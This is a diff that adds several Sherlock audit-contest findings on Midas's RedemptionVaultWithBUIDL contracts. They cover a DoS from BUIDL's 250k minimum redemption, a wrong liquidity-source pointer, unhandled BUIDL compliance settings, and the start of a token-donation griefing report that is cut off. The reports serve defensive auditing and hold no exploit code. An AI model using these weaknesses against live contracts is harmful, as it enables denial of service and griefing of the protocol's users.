+ onlyNotSanctioned(msg.sender)
+ {
+ ...
+ _checkAndRedeemBUIDL(tokenOutCopy, amountTokenOutWithoutFeeFrom18);
+ ...
+ }
+
+ function _checkAndRedeemBUIDL(address tokenOut, uint256 amountTokenOut)
+ internal
+ {
+ uint256 contractBalanceTokenOut = IERC20(tokenOut).balanceOf(
+ address(this)
+ );
+ if (contractBalanceTokenOut >= amountTokenOut) return;
+
+ uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+
+ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+
+ // BUG: buidlToRedeem may be smaller than 250k redemption limit.
+@> buidlRedemption.redeem(buidlToRedeem);
+ }
+```
+
+## Impact
+
+Redeeming mToken in `RedemptionVaultWIthBUIDL` may DoS.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L164-L176
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+If the required amount of USDC is less than minimum redemption limit (250k), redeem up to the minimum redemption limit to avoid DoS.
\ No newline at end of file
diff --git a/002/099.md b/002/099.md
new file mode 100644
index 0000000..170cb43
--- /dev/null
+++ b/002/099.md
@@ -0,0 +1,86 @@
+Muscular Jade Hedgehog
+
+High
+
+# `RedemptionVaultWIthBUIDL.sol#redeemInstant` will always DoS due to incorrect contract call.
+
+
+## Summary
+
+`RedemptionVaultWIthBUIDL.sol#redeemInstant` will always DoS due to incorrect contract call.
+
+## Vulnerability Detail
+
+In `RedemptionVaultWIthBUIDL` contract, it uses the BUIDL contracts to redeem BUIDL tokens to USDC tokens, and users are expected to always receive USDC tokens.
+
+On Ethereum, the `buidlRedemption` is this contract https://etherscan.io/address/0x31D3F59Ad4aAC0eeE2247c65EBE8Bf6E9E470a53#readContract. The `buidlRedemption.liquidity()` is this contract https://etherscan.io/address/0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, which is USDC.
+
+The issue here is, the code wrongly assumes `buidlRedemption.liquidity()` is the liquiditySource, when it should be the USDC token. This will always lead to DoS for the `buidlLiquiditySource.token()` call in `redeemInstant` since USDC does not support `.token()` call.
+
+```solidity
+ function initialize(
+ address _ac,
+ MTokenInitParams calldata _mTokenInitParams,
+ ReceiversInitParams calldata _receiversInitParams,
+ InstantInitParams calldata _instantInitParams,
+ address _sanctionsList,
+ uint256 _variationTolerance,
+ uint256 _minAmount,
+ FiatRedeptionInitParams calldata _fiatRedemptionInitParams,
+ address _requestRedeemer,
+ address _buidlRedemption
+ ) external initializer {
+ __RedemptionVault_init(
+ _ac,
+ _mTokenInitParams,
+ _receiversInitParams,
+ _instantInitParams,
+ _sanctionsList,
+ _variationTolerance,
+ _minAmount,
+ _fiatRedemptionInitParams,
+ _requestRedeemer
+ );
+ _validateAddress(_buidlRedemption, false);
+@> buidlRedemption = IRedemption(_buidlRedemption);
+ buidlSettlement = ISettlement(buidlRedemption.settlement());
+@> buidlLiquiditySource = ILiquiditySource(buidlRedemption.liquidity());
+ buidl = IERC20(buidlRedemption.asset());
+ }
+
+
+ function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ override
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ // BUG: This will always fail.
+@> tokenOut = buidlLiquiditySource.token();
+ ...
+ }
+```
+
+The correct implementation would be to use `buidlSettlement.liquiditySource()` to get the liquidity source, since there is an API for that in the buidlSettlement contract https://etherscan.io/address/0x57Dd4E92712b0fBC8d3f3e3645EebCf2600aCef0#readContract.
+
+## Impact
+
+`RedemptionVaultWIthBUIDL.sol#redeemInstant` will always DoS.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L100
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Use `buidlSettlement.liquiditySource()` to get the liquidity source. Also add the `liquiditySource` API to `ISettlement`.
\ No newline at end of file
diff --git a/002/100.md b/002/100.md
new file mode 100644
index 0000000..c27dba9
--- /dev/null
+++ b/002/100.md
@@ -0,0 +1,56 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# RedemptionVaultWIthBUIDL does not redeem full balance if BUIDL balance is less than 250k post transaction.
+
+
+## Summary
+
+RedemptionVaultWIthBUIDL does not redeem full balance if BUIDL balance is less than 250k post transaction.
+
+## Vulnerability Detail
+
+According to the [specs](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=927832e82a874221996c1edcc1d94b17&pm=s), there should be a feature that when redeeming BUIDL tokens, it should redeem full balance if the remaining BUIDL tokens is less than 250k. However, no such feature is implemented.
+
+> Redeem the full BUIDL balance in the smartcontract if the BUIDL balance will be less than 250k post transaction (as 250k is the minimum).
+Make this 250k threshold a parameter that can be adjusted by the admin
+
+Contest readme states that "Please note that discrepancies between the spec and the code can be reported as issues", thus reporting this as a medium severity issue.
+
+Also, note that this feature is required because BUIDL token has a minimum redemption limit of 250k (according to https://www.steakhouse.financial/projects/blackrock-buidl). Thus lack of this feature may result in lock of BUIDL tokens within the RedemptionVaultWIthBUIDL contract.
+
+> However, shares cannot be sold back unless their total value is at least $250,000, or if an exception is granted.
+
+```solidity
+ function _checkAndRedeemBUIDL(address tokenOut, uint256 amountTokenOut)
+ internal
+ {
+ uint256 contractBalanceTokenOut = IERC20(tokenOut).balanceOf(
+ address(this)
+ );
+ if (contractBalanceTokenOut >= amountTokenOut) return;
+
+ uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+
+ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+ buidlRedemption.redeem(buidlToRedeem);
+ }
+```
+
+## Impact
+
+1. Lock of BUIDL token in RedemptionVaultWIthBUIDL contract.
+2. Discrepancy between spec and code.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L164-L176
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Implement such feature.
\ No newline at end of file
diff --git a/002/114.md b/002/114.md
new file mode 100644
index 0000000..3453713
--- /dev/null
+++ b/002/114.md
@@ -0,0 +1,46 @@
+Refined Syrup Snail
+
+Medium
+
+# Incorrect pointer set in the ```initialize()``` function leads to broken functionality of RedemptionVaultWithBUIDL.sol
+
+## Summary
+```buidlLiquiditySource``` is set to USDC address instead of ```liquiditySource``` address during initialization and it leads to broken contract functionality.
+## Vulnerability Detail
+The protocol uses 3rd party contracts to redeem BUIDL tokens for USDC in case that there is not enough USDC in the RedemptionVault contract for instant redemption.
+Those contracts are deployed at the following addresses:
+
+Redemption.sol/IRedemtion.sol - https://etherscan.io/address/0x31d3f59ad4aac0eee2247c65ebe8bf6e9e470a53#code
+Settlement.sol/ISetllement.sol - https://etherscan.io/address/0x57dd4e92712b0fbc8d3f3e3645eebcf2600acef0#code
+LiquiditySource.sol/ILiquiditySource.sol - https://etherscan.io/address/0x9ba14Ce55d7a508A9bB7D50224f0EB91745744b7#code
+
+The ```initialize``` function of RedemptionVaultWithBUIDL.sol has the following pointer for the ```buidlLiquiditySource``` variable, which is the output of the ```liquidity()``` function of Redemption.sol.
+``` buidlLiquiditySource = ILiquiditySource(buidlRedemption.liquidity());```
+
+If you call ```liquidity()``` from the deployed code of Redemption.sol in the above link you get the address of USDC. However, we are expecting it to be LiquiditySource.sol. The natspec of the function ```liquidity``` in IRedemtion.sol has the following description:
+
+ * @notice The liquidity token that the asset is being redeemed for.
+ * @return The address of the liquidity token.
+
+Therefore, ```liquidity()``` was meant to return the address of the liquidity token which is USDC, not LiquiditySource.sol/ILiquiditySource.sol.
+
+This gets problematic in the ```redeemInstant``` function of RedemptionVaultWithBUIDL.sol where ``` tokenOut``` is assigned the output of ```buidlLiquiditySource.token()```. Deployed code of LiquiditySource.sol has the function ```token()``` which returns the address of USDC. Meanwhile USDC contract does not have that function. Since the current code assigns USDC as LiquiditySource.sol/ILiquiditySource.sol, it will lead to runtime error because there is no ```token()``` function in the USDC contract.
+
+
+## Impact
+
+Contract unfunctional due to runtime error.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L46-L74
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L99-L101
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The contract Settlement.sol has the getter for LiquiditySource.sol, use that instead of Redemption.sol.
+
+```buidlLiquiditySource = ILiquiditySource(buidlSettlement.liquiditySource());```
\ No newline at end of file
diff --git a/002/116.md b/002/116.md
new file mode 100644
index 0000000..f7723c4
--- /dev/null
+++ b/002/116.md
@@ -0,0 +1,39 @@
+Upbeat Chili Goat
+
+Medium
+
+# The lack of check conditions leads to the loss of contract functions.
+
+### Summary
+
+It is stated in[ the document ](https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mTBILL-for-USDC-pulled-from-BUIDL-927832e82a874221996c1edcc1d94b17)that if the BUIDL after the transaction is less than 250k, all will be redeemed. But there is no such condition in the contract, which is a lack of functionality.
+> Redeem the full BUIDL balance in the smartcontract if the BUIDL balance will be less than 250k post transaction (as 250k is the minimum).
+Make this 250k threshold a parameter that can be adjusted by the admin
+
+### Root Cause
+
+The [contract lacks the judgment conditions for remaining BUIDL.](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L167-L175)
+
+### Internal pre-conditions
+
+When the BUIDL balance is less than 250k after the transaction.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+If the contract function is missing, there will be remaining BUIDL in the contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add the judgment condition of 250k and the function for the administrator to set the corresponding parameters.
\ No newline at end of file
diff --git a/002/121.md b/002/121.md
new file mode 100644
index 0000000..b148962
--- /dev/null
+++ b/002/121.md
@@ -0,0 +1,434 @@
+Cheerful Porcelain Eel
+
+Medium
+
+# Not considering BUIDL transfer configurations can lead to DoS in BUIDL redemption vault
+
+## Summary
+
+Current interaction with `buidlRedemption` in the `RedemptionVaultWithBUIDL` and `MBasisRedemptionVaultWithBUIDL` contracts does not consider certain behaviors from the BUIDL token if some configurations are enabled. Because of this, the BUIDL redemption vaults could misbehave, leading to a DoS in the `redeemInstant` functionality involving BUIDL redemptions.
+
+## Vulnerability Detail
+
+## Bug description
+
+Midas’ README in Sherlock’s page includes [a notion site](https://www.notion.so/8060186191934380800b669406f4d83c?pvs=21) with several invariants that must hold to consider that the system is behaving as expected. The Midas team encourages to report any discrepancy as a bug: “*Product Requirements (Specifications). Please note that discrepancies between the spec and the code can be reported as issues*”.
+
+One of the pages in the invariants documents references the functionality of redeeming mTBILL for USDC pulled from BUIDL. Inside it, the following comment is found regarding an edge case: “*Have a look at the edge cases that Ondo had to handle during their C4 audit, and implement the handling of relevant edge cases they are handling.”*
+
+This references [this finding](https://code4rena.com/reports/2024-03-ondo-finance#m-01-integration-issue-in-ousginstantmanager-with-buidl-if-minustokens-is-set-by-blackrock) from Code4rena’s Ondo finance audit, which highlights an integration issue with the BUIDL token due to not considering one of its configurations. Although this is explicitly mentioned in the invariants document, the edge cases were never handled in Midas’ code, leading to some issues in the code.
+
+### A brief summary about BUIDL’s token implementation
+
+The BUIDL token incorporates a wide range of possible configurations that affect its behavior when being transferred/interacted with. A good example of this weird behavior can be found in the `transfer`/`transferFrom` functions from BUIDL ([code for reference](https://etherscan.deth.net/address/0x603bb6909be14f83282e03632280d91be7fb83b2)). In it, we can see that both of them incorporate a modifier called `canTransfer`, which performs certain validations prior to any BUIDL token being transferred via the ComplianceService’s `validateTransfer` function:
+
+```solidity
+// DSToken.sol (BUIDL token implementation)
+
+modifier canTransfer(address _sender, address _receiver, uint256 _value) {
+ getComplianceService().validateTransfer(_sender, _receiver, _value, paused, super.balanceOf(_sender));
+ _;
+ }
+
+function transfer(address _to, uint256 _value) public virtual override canTransfer(msg.sender, _to, _value) returns (bool) {
+ return postTransferImpl(super.transfer(_to, _value), msg.sender, _to, _value);
+}
+
+
+function transferFrom(address _from, address _to, uint256 _value) public virtual override canTransfer(_from, _to, _value) returns (bool) {
+ return postTransferImpl(super.transferFrom(_from, _to, _value), _from, _to, _value);
+}
+```
+
+The `validateTransfer` function in the ComplianceService contract will then trigger the `newPreTransferCheck` function in ComplianceServiceRegulated:
+
+```solidity
+// ComplianceService (abstract, inherited by ComplianceServiceRegulated)
+
+function validateTransfer(
+ address _from,
+ address _to,
+ uint256 _value,
+ bool _paused,
+ uint256 _balanceFrom
+ ) public virtual override onlyToken returns (bool) {
+ uint256 code;
+ string memory reason;
+
+ (code, reason) = newPreTransferCheck(_from, _to, _value, _balanceFrom, _paused);
+ require(code == 0, reason);
+
+ return recordTransfer(_from, _to, _value);
+ }
+```
+
+Finally, the `newPreTransferCheck` function will trigger the internal `doPreTransferCheckRegulated` function, which performs a set of global configuration checks to ensure that the transfer being carried out is correct by finally triggering `completeTransferCheck`:
+
+
+ `ComplianceServiceRegulated.sol` implementation
+
+ ```solidity
+ // ComplianceServiceRegulated.sol
+
+ function newPreTransferCheck(
+ address[] memory _services,
+ address _from,
+ address _to,
+ uint256 _value,
+ uint256 _balanceFrom,
+ bool _paused
+ ) public view returns (uint256 code, string memory reason) {
+ return doPreTransferCheckRegulated
+ (_services, _from, _to, _value, _balanceFrom, _paused);
+ }
+
+ function doPreTransferCheckRegulated(
+ address[] memory _services,
+ address _from,
+ address _to,
+ uint256 _value,
+ uint256 _balanceFrom,
+ bool _paused
+ ) internal view returns (uint256 code, string memory reason) {
+
+ if (_balanceFrom < _value) {
+ return (15, NOT_ENOUGH_TOKENS);
+ }
+
+ uint256 fromInvestorBalance = balanceOfInvestor(_services, _from);
+ uint256 fromRegion = getCountryCompliance(_services, _from);
+ bool isPlatformWalletTo = IDSWalletManager(_services[WALLET_MANAGER]).isPlatformWallet(_to);
+ if (isPlatformWalletTo) {
+ if (
+ ((IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getForceFullTransfer()
+ && (fromRegion == US)) ||
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getWorldWideForceFullTransfer()) &&
+ fromInvestorBalance > _value
+ ) {
+ return (50, ONLY_FULL_TRANSFER);
+ }
+ return (0, VALID);
+ }
+
+ if (_paused && !(isOmnibusTBE(IDSOmnibusTBEController(_services[OMNIBUS_TBE_CONTROLLER]), _from))) {
+ return (10, TOKEN_PAUSED);
+ }
+
+ CompletePreTransferCheckArgs memory args = CompletePreTransferCheckArgs(_from, _to, _value, fromInvestorBalance, fromRegion, isPlatformWalletTo);
+ return completeTransferCheck(_services, args);
+ }
+
+ function completeTransferCheck(
+ address[] memory _services,
+ CompletePreTransferCheckArgs memory _args
+ ) internal view returns (uint256 code, string memory reason) {
+ (string memory investorFrom, string memory investorTo) = IDSRegistryService(_services[REGISTRY_SERVICE]).getInvestors(_args.from, _args.to);
+ if (
+ !CommonUtils.isEmptyString(investorFrom) && CommonUtils.isEqualString(investorFrom, investorTo)
+ ) {
+ return (0, VALID);
+ }
+
+ if (!ComplianceServiceRegulated(_services[COMPLIANCE_SERVICE]).checkWhitelisted(_args.to)) {
+ return (20, WALLET_NOT_IN_REGISTRY_SERVICE);
+ }
+
+ uint256 toRegion = getCountryCompliance(_services, _args.to);
+ if (toRegion == FORBIDDEN) {
+ return (26, DESTINATION_RESTRICTED);
+ }
+
+ if (isOmnibusTBE(IDSOmnibusTBEController(_services[OMNIBUS_TBE_CONTROLLER]), _args.from)) {
+ return(0, VALID);
+ }
+
+ bool isPlatformWalletFrom = IDSWalletManager(_services[WALLET_MANAGER]).isPlatformWallet(_args.from);
+ if (
+ !isPlatformWalletFrom &&
+ IDSLockManager(_services[LOCK_MANAGER]).getTransferableTokens(_args.from, block.timestamp) < _args.value
+ ) {
+ return (16, TOKENS_LOCKED);
+ }
+
+ if (_args.fromRegion == US) {
+ if (checkHoldUp(_services, _args.from, _args.value, true, isPlatformWalletFrom)) {
+ return (32, HOLD_UP);
+ }
+
+ if (
+ _args.fromInvestorBalance > _args.value &&
+ _args.fromInvestorBalance - _args.value < IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinUSTokens()
+ ) {
+ return (51, AMOUNT_OF_TOKENS_UNDER_MIN);
+ }
+
+ if (
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getForceFullTransfer() &&
+ _args.fromInvestorBalance > _args.value
+ ) {
+ return (50, ONLY_FULL_TRANSFER);
+ }
+ } else {
+ if (checkHoldUp(_services, _args.from, _args.value, false, isPlatformWalletFrom)) {
+ return (33, HOLD_UP);
+ }
+
+ if (
+ toRegion == US &&
+ !isPlatformWalletFrom &&
+ isBlockFlowbackEndTimeOk(IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getBlockFlowbackEndTime())
+ ) {
+ return (25, FLOWBACK);
+ }
+
+ if (
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getWorldWideForceFullTransfer() &&
+ _args.fromInvestorBalance > _args.value
+ ) {
+ return (50, ONLY_FULL_TRANSFER);
+ }
+ }
+
+ uint256 toInvestorBalance = balanceOfInvestor(_services, _args.to);
+ string memory toCountry = getCountry(_services, _args.to);
+
+ if (_args.fromRegion == EU) {
+ if (_args.fromInvestorBalance - _args.value < IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinEUTokens() &&
+ _args.fromInvestorBalance > _args.value) {
+ return (51, AMOUNT_OF_TOKENS_UNDER_MIN);
+ }
+ }
+
+ bool isAccreditedTo = isAccredited(_services, _args.to);
+ if (
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getForceAccredited() && !isAccreditedTo
+ ) {
+ return (61, ONLY_ACCREDITED);
+ }
+
+ if (toRegion == JP) {
+ if (
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getJPInvestorsLimit() != 0 &&
+ ComplianceServiceRegulated(_services[COMPLIANCE_SERVICE]).getJPInvestorsCount() >=
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getJPInvestorsLimit() &&
+ isNewInvestor(_services, _args.to, toInvestorBalance) &&
+ (!CommonUtils.isEqualString(getCountry(_services, _args.from), toCountry) || (_args.fromInvestorBalance > _args.value))
+ ) {
+ return (40, MAX_INVESTORS_IN_CATEGORY);
+ }
+ } else if (toRegion == EU) {
+ if (
+ isRetail(_services, _args.to) &&
+ ComplianceServiceRegulated(_services[COMPLIANCE_SERVICE]).getEURetailInvestorsCount(toCountry) >=
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getEURetailInvestorsLimit() &&
+ isNewInvestor(_services, _args.to, toInvestorBalance) &&
+ (!CommonUtils.isEqualString(getCountry(_services, _args.from), toCountry) ||
+ (_args.fromInvestorBalance > _args.value && isRetail(_services, _args.from)))
+ ) {
+ return (40, MAX_INVESTORS_IN_CATEGORY);
+ }
+
+ if (
+ toInvestorBalance + _args.value < IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinEUTokens()
+ ) {
+ return (51, AMOUNT_OF_TOKENS_UNDER_MIN);
+ }
+ } else if (toRegion == US) {
+ if (
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getForceAccreditedUS() &&
+ !isAccreditedTo
+ ) {
+ return (62, ONLY_US_ACCREDITED);
+ }
+
+ uint256 usInvestorsLimit = getUSInvestorsLimit(_services);
+ if (
+ usInvestorsLimit != 0 &&
+ _args.fromInvestorBalance > _args.value &&
+ ComplianceServiceRegulated(_services[COMPLIANCE_SERVICE]).getUSInvestorsCount() >= usInvestorsLimit &&
+ isNewInvestor(_services, _args.to, toInvestorBalance)
+ ) {
+ return (40, MAX_INVESTORS_IN_CATEGORY);
+ }
+
+ if (
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getUSAccreditedInvestorsLimit() != 0 &&
+ isAccreditedTo &&
+ ComplianceServiceRegulated(_services[COMPLIANCE_SERVICE]).getUSAccreditedInvestorsCount() >=
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getUSAccreditedInvestorsLimit() &&
+ isNewInvestor(_services, _args.to, toInvestorBalance) &&
+ (_args.fromRegion != US || !isAccredited(_services, _args.from) || _args.fromInvestorBalance > _args.value)
+ ) {
+ return (40, MAX_INVESTORS_IN_CATEGORY);
+ }
+
+ if (
+ toInvestorBalance + _args.value < IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinUSTokens()
+ ) {
+ return (51, AMOUNT_OF_TOKENS_UNDER_MIN);
+ }
+ }
+
+ if (!isAccreditedTo) {
+ if (maxInvestorsInCategoryForNonAccredited(_services, _args.from, _args.to, _args.value, _args.fromInvestorBalance, toInvestorBalance)) {
+ return (40, MAX_INVESTORS_IN_CATEGORY);
+ }
+ }
+
+ if (
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getTotalInvestorsLimit() != 0 &&
+ _args.fromInvestorBalance > _args.value &&
+ ComplianceServiceRegulated(_services[COMPLIANCE_SERVICE]).getTotalInvestorsCount() >=
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getTotalInvestorsLimit() &&
+ isNewInvestor(_services, _args.to, toInvestorBalance)
+ ) {
+ return (40, MAX_INVESTORS_IN_CATEGORY);
+ }
+
+ if (
+ _args.fromInvestorBalance == _args.value &&
+ !isNewInvestor(_services, _args.to, toInvestorBalance) &&
+ ComplianceServiceRegulated(_services[COMPLIANCE_SERVICE]).getTotalInvestorsCount() <=
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinimumTotalInvestors()
+ ) {
+ return (71, NOT_ENOUGH_INVESTORS);
+ }
+
+ if (
+ !isPlatformWalletFrom &&
+ _args.fromInvestorBalance - _args.value < IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinimumHoldingsPerInvestor() &&
+ _args.fromInvestorBalance > _args.value
+ ) {
+ return (51, AMOUNT_OF_TOKENS_UNDER_MIN);
+ }
+
+ if (
+ !_args.isPlatformWalletTo &&
+ toInvestorBalance + _args.value < IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinimumHoldingsPerInvestor()
+ ) {
+ return (51, AMOUNT_OF_TOKENS_UNDER_MIN);
+ }
+
+ if (
+ isMaximumHoldingsPerInvestorOk(
+ IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMaximumHoldingsPerInvestor(),
+ toInvestorBalance, _args.value)
+ ) {
+ return (52, AMOUNT_OF_TOKENS_ABOVE_MAX);
+ }
+
+ return (0, VALID);
+ }
+ ```
+
+
+### How enabling some configurations in BUIDL will affect Midas’ `RedemptionVaultWithBUIDL`, leading to DoS
+
+As it can be seen in BUIDL’s summary, there’s a wide range of configurations that could affect the behavior of the `RedemptionVaultWithBUIDL` vault. Although some configurations can’t actually be handled, and hence can’t be considered a bug (for example pausing the BUIDL token, as there’s nothing Midas can actually do given that if the token is paused the BUIDL functionality will simply not work), some others can (and **MUST**) be handled to ensure the correct integration of `BUIDL`.
+
+The configuration mentioned in Code4rena’s report (and the consideration that explicitly asks for this scenario to be handled in Midas’ invariants document) can lead to a DoS in the `RedemptionVaultWithBUIDL` that could be avoided with the proper implementation.
+
+This specific configuration refers to the `minUSTokens`/`minEUTokens` variables. Essentially, these variables enforce that the `from`/`to` addresses involved in a transfer of tokens **must** have a minimum of `minUSTokens`/`minEUTokens` after the transfer is being performed. As an example, let’s say that `from` belongs to the `EU` jurisdiction, and BUIDL owners decide to configure the `minEUTokens` to `100e6` . If `from` had a balance of `500e6` tokens, they would be able to transfer at most `400e6` tokens. Trying to transfer more tokens will make `from`'s balance be below the `minEUTokens` configured, making the transfer revert.
+
+```solidity
+// ComplianceServiceRegulated.sol
+
+function completeTransferCheck(
+ address[] memory _services,
+ CompletePreTransferCheckArgs memory _args
+ ) internal view returns (uint256 code, string memory reason) {
+
+ ...
+
+ if (_args.fromRegion == EU) {
+ if (_args.fromInvestorBalance - _args.value < IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinEUTokens() &&
+ _args.fromInvestorBalance > _args.value) {
+ return (51, AMOUNT_OF_TOKENS_UNDER_MIN);
+ }
+ }
+
+ ...
+}
+```
+
+Currently, if there’s not enough USDC in the `RedemptionVaultWithBUIDL` to cover a redemption, the contract will try to redeem the user’s a specific `amountTokenOut` of `BUIDL` token to get the same `amountTokenOut` of USDC and succesfully finish the redemption:
+
+```solidity
+// RedemptionVaultWithBUIDL.sol
+
+ function _checkAndRedeemBUIDL(address tokenOut, uint256 amountTokenOut)
+ internal
+ {
+ uint256 contractBalanceTokenOut = IERC20(tokenOut).balanceOf(
+ address(this)
+ );
+
+ if (contractBalanceTokenOut >= amountTokenOut) return;
+
+ uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+
+ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+ buidlRedemption.redeem(buidlToRedeem);
+ }
+```
+
+Internally, the call to `redeem` will transfer the exact amount of `BUIDL` tokens from the vault to a `recipient` address. This means that calls to `redeem` will trigger the `canTransfer` checks previously mentioned.
+
+```solidity
+// Redemption.sol
+
+ function redeem(
+ uint256 amount
+ ) external override whenNotPaused onlyAssetHolder {
+ address recipient = settlement.recipient();
+
+ // Transfer asset
+ IERC20(asset).safeTransferFrom(msg.sender, recipient, amount);
+
+ ...
+ }
+```
+
+If a minimum amount of tokens to be held after transfers is configured in the `BUILD` token contract (and depending on `MIDAS` token contract jurisdiction), the call to redeem could fail. Taking the same example as before, let’s imagine that the `RedemptionVaultWithBUIDL` currently holds 500e6 `BUIDL` tokens, and the `BUIDL` token has been configured to enforce a minimum balance after transfers of 100e6 tokens. The `RedemptionVaultWithBUIDL` currently holds 0 USDC. This should allow a certain user to redeem 450e6 USDC by redeeming `BUIDL`, given that the current `BUIDL` contract balance is greater than the requested USDC amount. However, due to the minimum balance requirements enforced by `BUIDL`, the redeem function will fail, given that the minimum balance of the `RedemptionVaultWithBUIDL` after redeeming will be less than the minimum acceptable balance configured (`500e6` - `450e6` < `100e6`), making the transaction revert when in reality it should be possible to execute the transaction.
+
+
+## Impact
+
+Medium. As per the invariants document, it looks like the Midas’ team wanted to implement a mitigation for this issue, but ended up never implementing it. Not implementing the mitigation can lead to the previously mentioned situation, effectively causing a DoS for the `redeemInstant` function in the `RedemptionVaultWithBUIDL` and `MBasisRedemptionVaultWithBUIDL` contracts.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L175
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Withdraw the full balance of `BUIDL` tokens held in the `RedemptionVaultWithBUIDL` if a `BUIDL` redemption is required. This will prevent the transaction from reverting, as withdrawing the full balance makes the checks not be applied (due to balance becoming zero). This will not only be helpful to adequately handle `minEUTokens`/`minUSTokens` configurations, but also for several other configurations that might affect the contract’s behavior as well (such as the `forceFullTransfer` or `worldWideFullTransfer` configurations).
+
+```diff
+// RedemptionVaultWithBUIDL.sol
+
+function _checkAndRedeemBUIDL(address tokenOut, uint256 amountTokenOut)
+ internal
+ {
+ uint256 contractBalanceTokenOut = IERC20(tokenOut).balanceOf(
+ address(this)
+ );
+
+ if (contractBalanceTokenOut >= amountTokenOut) return;
+
+- uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+
++ uint256 buidlBalance = buidl.balanceOf(address(this));
+
+- buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
++ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlBalance);
+
+- buidlRedemption.redeem(buidlToRedeem);
++ buidlRedemption.redeem(buidlBalance);
+
+}
+```
\ No newline at end of file
diff --git a/002/122.md b/002/122.md
new file mode 100644
index 0000000..0ff0429
--- /dev/null
+++ b/002/122.md
@@ -0,0 +1,97 @@
+Cheerful Porcelain Eel
+
+Medium
+
+# Malicious user could prevent the admin from recovering BUIDL tokens from the contract due to incorrect logic in `withdrawToken`
+
+## Summary
+
+The current logic to withdraw tokens enables attackers to grief BUIDL withdrawals by directly donating tokens to the BUIDL vault, if some BUIDL configurations are enabled.
+
+## Vulnerability Detail
+
+Midas provided a list of requirements that must hold for the protocol. From the contest README: “*Please note that discrepancies between the spec and the code can be reported as issues*”. This focuses on the requirement that admins should be able to transfer any token in the smart contract, detailed at [this notion page](https://www.notion.so/Admin-can-transfer-any-token-that-is-in-the-smartcontract-dcb9e87d3de9456b8580a68b98ecbc5d?pvs=21).
+
+### Introduction
+
